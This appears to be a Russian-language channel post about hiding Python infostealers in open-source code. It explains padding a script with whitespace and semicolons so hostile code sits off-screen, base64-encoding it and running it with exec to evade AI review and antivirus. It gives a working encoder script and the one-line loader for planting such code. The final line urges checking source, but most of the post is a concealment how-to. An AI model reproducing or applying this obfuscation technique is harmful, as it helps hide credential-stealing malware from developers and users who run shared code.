October 7

Стиллеры в опенсорсе

Всех приветствую! На связи админ канала Falcon Bytes!

Думаю, многие из вас пользуются платформой GitHub. Это прекрасная платформа на которой разработчики со всего мира делятся своими проектами и исходным кодом.

Но может ли быть в открытом коде стиллер? Об этом и будет идти речь в этой статье.

Все мы знаем, что в нашем любимом питоне можно использовать точки с запятой, как и писать весь скрипт в одну строчку. Да, это не выглядит так, что это можно использовать в корыстных целях, да и по PEP8 такое не разрешается. Но давайте честно: в ваших скриптах вас давно волновал PEP8?

Ближе к сути:

Сектор плюс на барабане! Вопрос: что выведет данный скрипт?

Думаете, это будет "zalupa"?

Если это ваш ответ, то частично вы правы. Но есть одень маленький нюанс))0)

Откуда же взялось "HELLO FROM FALCON BYTES"?

Рассмотрим скрипт повнимательнее

Т.к. в питоне мы имеем право разделять линии точкой с запятой, значит мы можем и увести на какую угодно длину, после чего прописать весь наш злой скрипт. Просто через пробелы стоит ";" и все.

На примере показан только print, однако можно прописать все, что душе угодно туда. Подшифруя код при помощи base64 и выполняя его с помощью exec, вирус не обнаружит GPT (как некоторые любят проверять), а учитывая то, что не компилированные python-скрипты почти не определяются антивирусами как потенциально опасные, стиллеры на питоне обретают новый смысл.

Если у вас появилась идея проверить, как работает такая пакость в реале, то я написал небольшой скрипт, который переводит код стиллера в base64 и делает его однострочным.

import base64

def process_and_encode_py_file(file_path):
    with open(file_path, 'r') as file:
        lines = file.readlines()
    single_line_code = ''.join(line.strip() + ';' for line in lines)
    encoded_code = base64.b64encode(single_line_code.encode('utf-8')).decode('utf-8')
    return encoded_code

file_path = input('Enter filename: ')
encoded_code = process_and_encode_py_file(file_path)
print(encoded_code)
with open('converted.rbf', 'a') as file:
    file.write(encoded_code)
    print('Base64 encoded and writed to converted.rbf')

Запускаете скрипт, на вход ему пишете путь к исходному питон файлу, и он зашифрует его и сохранит зашифрованную строку в файл converted.rbf и также выведет ее на экран.

Как использовать строку?

;import base64;falcon_bytes= base64.b64decode("тут_ваша_строка");exec(falcon_bytes)

Используйте это знание во благо.

Вывод

Проверяйте даже исходный код на наличие подарочков, тогда и не будет проблем со взломанными аккаунтами и спизженными тдатами.

На связи был админ канала Falcon Bytes. До новых встреч!